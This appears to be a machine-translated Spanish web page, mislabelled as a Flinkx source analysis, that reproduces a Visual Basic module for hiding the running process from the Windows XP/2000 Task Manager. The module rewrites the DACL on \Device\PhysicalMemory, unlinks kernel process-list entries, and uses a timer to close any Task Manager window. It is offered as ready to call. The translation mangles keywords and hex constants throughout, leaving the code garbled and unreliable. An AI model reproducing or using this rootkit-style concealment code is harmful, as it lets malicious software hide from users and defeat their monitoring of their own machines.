Red de conocimiento informático - Aprendizaje de programación - Análisis del código fuente de Flinkx

Análisis del código fuente de Flinkx

Función de declaración privada FindWindow Lib "user32 "alias" FindWindowA" (ByVal lpClassName es una cadena, ByVal lpWindowName es una cadena) es Long

Función de declaración privada SendMessage Lib "user 32" alias "SendMessage a" (ByVal hwnd es Long, ByVal wMsg es Long, ByVal wParam es Long, lParam es Any) es Long

Subform_Load() privado

Opción explícita

Constante privada STATUS_INFO_LENGTH_MISMATCH = &HC0000004

Constante privada STATUS_ACCESS_DENIED = &HC0000022

Constante privada STATUS_INVALID_HandLE = &HC0000008

Constante privada ERROR_SUCCESS = 0 &

Constante privada SECCIÓN _ MAP _ WRITE = & amp deuterio

Constante privada SECCIÓN _ MAP _ READ = & ampH4

Constante privada LEER _ CONTROL = & ampH20000

Constante privada WRITE _ DAC = & ampH40000

Constante privada NO_INHERITANCE = 0

Constante privada DACL_SECURITY_INFO=&H4

Función de declaración privada SetSecurityInfo Lib " advapi 32 . dll "(ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any) es Long

Función de declaración privada GetSecurityInfo Lib " advapi 32 dll " (ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any, ppSecurityDeor es Long)

Función de declaración privada SetEntriesInAcl. Lib " advapi 32. dll "Alias" SetEntriesInAcl "(ByVal ccountoexplicientries es largo, pListOfExplicitEntries es EXPLICIT_ACCESS, ByVal OldAcl es largo, NewAcl es largo) es largo

privado Declare Sub BuildExplicitAccessWithName Lib " advapi 32. dll " Alias" BuildExplicitAccessWithNameA "(pExplicitAccess es EXPLICIT_ACCESS, ByVal pTrusteeName es String, ByVal AccessPermissions es Long, ByVal AccessMode es ACCESS_MODE, ByVal Inheritance es L

ong)

Declaración privada Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString es UNICODE_STRING, ByVal SourceString es Long)

Función de declaración privada ZwOpenSection Lib "NTDLL.DLL" (SectionHandle es el misma longitud, ByVal DesiredAccess tiene la misma longitud, ObjectAttributes tiene la misma longitud)

La función de declaración privada local libre Lib " kernel 32 "(ByVal hMem As Any) tiene la misma longitud

La función de declaración privada CloseHandle Lib " kernel 32 "(ByVal hObject As Long)

Función de declaración privada MapViewOfFile Lib " kernel 32 "(ByVal hFileMappingObject es largo, ByVal dwDesiredAccess es largo, ByVal dwFileOffsetHigh es largo, ByVal dwFileOffsetLow es Long, ByVal dwNumberOfBytesToMap es Long)

La función de declaración privada UnmapViewOfFile Lib "kernel 32" (lpBaseAddress As Any) es tan larga como , la longitud de ByVal es Long)

Declaración privada la función GetVersionEx Lib "kernel32 "alias" GetVersionExA "(LpVersionInformation como información de versión del sistema operativo) es larga

Tipo privado OSVERSIONINFO

dwOSVersionInfoSize como larga

dwMajorVersion tiene la misma longitud

dwMinorVersion tiene la misma longitud

dwBuildNumber es Long

dwPlatformId tiene la misma longitud

szCSDVersion As String * 128

Tipo final

Verinfo privado como OSVERSIONINFO

G_hNtDLL privado siempre

G_pMapPhysicalMemory privado siempre

G_hMPM privado siempre

Privado aByte(3) como byte

Public Sub HideCurrentProcess()

Ocultar en la lista de procesos El proceso de solicitud actual.

Los subprocesos tenues tienen la misma longitud, el proceso tiene la misma longitud, fw tiene la misma longitud y bw tiene la misma longitud

Dim lOffsetFlink es Long, lOffsetBlink es Long, lOffsetPID es Largo

verinfo .dwosversioninfosize = Len(verinfo)

if(GetVersionEx(ver info))<>then 0

si verinfo.dwPlatformId = 2, entonces

Si verinfo.dwMajorVersion = 5, entonces

Seleccione Caso verinfo.dwMinorVersion

Caso 0

lOffsetFlink = & ampHA0

lOffsetBlink = & ampHA4

lOffsetPID = & ampH9C

Caso 1

lOffsetFlink = & ampH88

lOffsetBlink = & ampH8C

lOffsetPID = & ampH84

Finalizar selección

Si... terminará

Si... terminará

Si... terminará terminará

Si OpenPhysicalMemory & lt& gtentonces 0

thread = get data(& HFFDFF124)

proceso = obtener datos(thread+& amp; H44)

fw = obtener datos(proceso+lOffsetFlink)

bw = obtener datos(proceso+lOffsetBlink)

SetData fw + 4, bw

SetData ancho de banda, fw

CloseHandle g_hMPM

Terminará si...

Finalizar conector

la sección de memoria física del subconjunto privado se puede escribir (sección ByVal h mientras sea larga)

Dim pDacl es largo

Dim pNewDacl tiene la misma longitud

Dim pSD es largo

Dim dwRes tiene la misma longitud

Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

ea .grfacesspermissions = SECCIÓN _ MAP _ ESCRITURA

ea.grfAccessMode = GRANT_ACCESS

ea . grfinheritance = NO _ HERENCIA

por FIDEICOMISARIO . form = TRUSTEE _ IS _ NAME

Por TRUSTEE type = TRUSTEE_IS_USER

Por ptstrname = "CURRENT_USER" & vbNullChar

setentriesincl 1, ea, pDacl, pNewDacl

SetSecurityInf

o hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

Limpiar:

LocalFree pSD

LocalFree pNewDacl

Fin conector

La función privada OpenPhysicalMemory() es Long

Estado difuso a largo plazo

Atenuar PhysmemString como UNICODE_STRING

Marcar el atributo como OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory ")

Propiedades. longitud = longitud(propiedad)

Propiedad. raíz=0

propiedad. nombre de objeto = VarPtr(physmestring)

Propiedad. propiedades = 0

Propiedades. SecurityDeor = 0

Propiedad.

SecurityQualityOfService = 0

Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)

Si Estado = Estado Acceso denegado, entonces

Estado = ZwOpenSection(g_hMPM, READ_CONTROL o WRITE_DAC, atributo)

SetPhyscialMemorySectionCanBeWrited g_hMPM

CloseHandle g_hMPM

Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)

Terminará si...

Dim lDirectoty tiene la misma longitud

verinfo .dwosversioninfosize = Len(verinfo)

if(GetVersionEx(ver info)) & lt;> Entonces 0

Si verinfo.dwPlatformId = 2, entonces

Si verinfo.dwMajorVersion = 5, entonces

Seleccione Caso verinfo.dwMinorVersion p>

Caso 0

lDirectoty = & ampH30000

Caso 1

lDirectoty = & ampH39000

Finalizar selección

Terminará si...

Terminará si...

Terminará si...

Si estado = 0, entonces

g_pmappphysicalmemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, & ampH1000)

Si g_pMapPhysicalMemory & lt& gt0 entonces abra PhysicalMemory = g_hMPM

Si... Terminará

Finalizar función

La función privada LinearToPhys (BaseAddress tiene la misma longitud, addr tiene la misma longitud) tiene la misma longitud

Dim VAddr tiene la misma longitud, PGDE tiene la misma longitud, PTE Misma longitud, PAddr tiene la misma longitud

Dim lTemp As Long

VAddr = addr

Copiar memoria aByte(0), VAddr, 4

ltemp = fix(byteartlong(abyte)/(2 ^ 22))

PGDE = dirección base + lTemp * 4

Copyright PGDE, ByVal PGDE, 4

Si (PGDE y 1)<>entonces 0

PGDE y&H80

Si lTemp<>entonces 0

PADdr = (PGDE y &HFFC00000) + (VAddr y &H3FFFFF)

Otro

PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE y &HFFFFF000, y .

H1000)

lTemp = (VAddr & amph3ff 000)/(^Road 2 No. 12)

PTE = PGDE + lTemp * 4

CopyMemory PTE, ByVal PTE, 4

Si (PTE y 1)<> Entonces 0

PADdr = (PTE y & ampHFFFFF000) + (VAddr y & ampHFFF)

UnmapViewOfFile PGDE

Terminará si...

Terminará si...

Terminará si...

LinearToPhys = PAddr

Función final

La función privada GetData (la misma longitud que addr) tiene la misma longitud

Dim phys tiene la misma longitud, tmp tiene la misma longitud y ret tiene la misma longitud

phys = LinearToPhys(g_pmappphysicalmemory, addr)

tmp = MapViewOfFile(g_hMPM, 4, 0, phys &HFFFFF000, & H1000)

Si tmp & lt& gt entonces 0

ret = tmp + ((phys & ampHFFF) / (2^2)) * 4

Copiar memoria ret , ByVal ret, 4

UnmapViewOfFile tmp

GetData = ret

Terminará si...

Finalizar función

La función privada SetData (la dirección ByVal es Long, los datos ByVal son Long) es un valor booleano

Dim phys tiene la misma longitud, tmp tiene la misma longitud, x tiene la misma longitud

phys = LinearToPhys(g _ pmappphysicalmemory, addr)

tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys & ampHFFFFF000, & H1000)

Si tmp & lt& gt entonces 0

x = tmp + ((phys and & ampHFFF) / (2 ^ 2)) * 4

Copiar memoria ByVal x, datos, 4

>UnmapViewOfFile tmp

SetData = True

Terminará si...

Finalizar función

Función privada byteartlong(inByte() Como Byte) es Doble

Marque I como un número entero

p>

Para I = 0 a 3

byteartlong = byteartlong+inByte(I)*(& H100^I)

Siguiente I

Finalizar función

Finalizar función

Subtemporizador privado 1_Timer()

HW = FindWindow (vbnullstring, "Administrador de tareas de Windows")

Enviar mensaje HW&H10,0

Enviar clave "%"

i. SetFocus

El conector final

Da tanto miedo~~~Casi no puedo recuperarlo.

Si no se está ejecutando en VB, realmente no sé cómo salir.

Sería más interesante si el estilo del formulario estuviera establecido en Ninguno y el estado de inicio estuviera establecido en Maximizado.

Si le preocupa no poder jubilarse, puede hacer esto:

Private Sub Form_KeyDown (KeyCode es un número entero, Shift es un número entero)

Si KeyCode = Asc("I " ), final

Finalizar conector

Entonces puedes salir presionando la tecla "I".

Ocultar el código VB del proceso en sistema XP/2K

Atributo VB_Name = "modHideProcess "

-

Nombre del módulo: modHideProcess.bas

'

Función del módulo: Oculta el proceso actual en la lista de procesos del Administrador de tareas de XP/2K.

'

Uso: Llame a HideCurrentProcess() directamente

'

Autor del módulo: Obtenido de Internet, el autor original es desconocido .

Fecha de revisión: 26 de agosto de 2006

-